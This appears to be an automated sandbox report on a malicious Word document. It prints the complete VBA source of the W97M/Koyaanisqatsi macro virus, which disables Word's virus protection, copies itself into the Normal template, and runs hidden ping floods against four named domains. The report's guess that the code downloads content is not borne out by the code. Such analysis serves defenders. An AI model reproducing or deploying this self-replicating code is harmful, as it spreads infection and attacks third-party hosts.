MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros that are automatically executed upon opening the document via the Document_Open subroutine. These macros utilize the Shell() function to execute ping commands targeting several suspicious domains: innocentangels.com, whitesonly.net, kkk.com, and daddysgirl.com. This indicates an attempt to download or connect to malicious infrastructure.
Heuristics 5
-
ClamAV: Doc.Trojan.Ping-6 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ping-6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2330 bytes |
SHA-256: 3dd48845414d634c9a3f0c8998415a08f1a4ad7955d86f8ea9cc8fa3f40343aa |
|||
|
Detection
ClamAV:
Doc.Trojan.Ping-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Application.DisplayAlerts = False Options.VirusProtection = False Options.ConfirmConversions = False Options.SaveNormalPrompt = False Application.EnableCancelKey = False SAVIT = ActiveDocument.Saved Set ACT = ActiveDocument.VBProject.VBComponents(1).CodeModule Set TIS = ThisDocument.VBProject.VBComponents(1).CodeModule Set NRM = NormalTemplate.VBProject.VBComponents(1).CodeModule If ACT.CountOfLines < TIS.CountOfLines Then ACT.AddFromString TIS.Lines(1, TIS.CountOfLines) ActiveDocument.Save ElseIf NRM.CountOfLines < TIS.CountOfLines Then NRM.AddFromString TIS.Lines(1, TIS.CountOfLines) End If Shell " ping -l 5000 -t innocentangels.com", vbHide Shell " ping -l 5000 -t whitesonly.net", vbHide Shell " ping -l 5000 -t kkk.com", vbHide Shell " ping -l 5000 -t daddysgirl.com", vbHide ActiveDocument.Saved = SAVIT 'W97M/Koyaanisqatsi (c) Opic [CodeBreakers 1999] 'World out of Balance. End Sub Attribute VB_Name = "ThisDocument1" Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Application.DisplayAlerts = False Options.VirusProtection = False Options.ConfirmConversions = False Options.SaveNormalPrompt = False Application.EnableCancelKey = False SAVIT = ActiveDocument.Saved Set ACT = ActiveDocument.VBProject.VBComponents(1).CodeModule Set TIS = ThisDocument.VBProject.VBComponents(1).CodeModule Set NRM = NormalTemplate.VBProject.VBComponents(1).CodeModule If ACT.CountOfLines < TIS.CountOfLines Then ACT.AddFromString TIS.Lines(1, TIS.CountOfLines) ActiveDocument.Save ElseIf NRM.CountOfLines < TIS.CountOfLines Then NRM.AddFromString TIS.Lines(1, TIS.CountOfLines) End If Shell " ping -l 5000 -t innocentangels.com", vbHide Shell " ping -l 5000 -t whitesonly.net", vbHide Shell " ping -l 5000 -t kkk.com", vbHide Shell " ping -l 5000 -t daddysgirl.com", vbHide ActiveDocument.Saved = SAVIT 'W97M/Koyaanisqatsi (c) Opic [CodeBreakers 1999] 'World out of Balance. End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.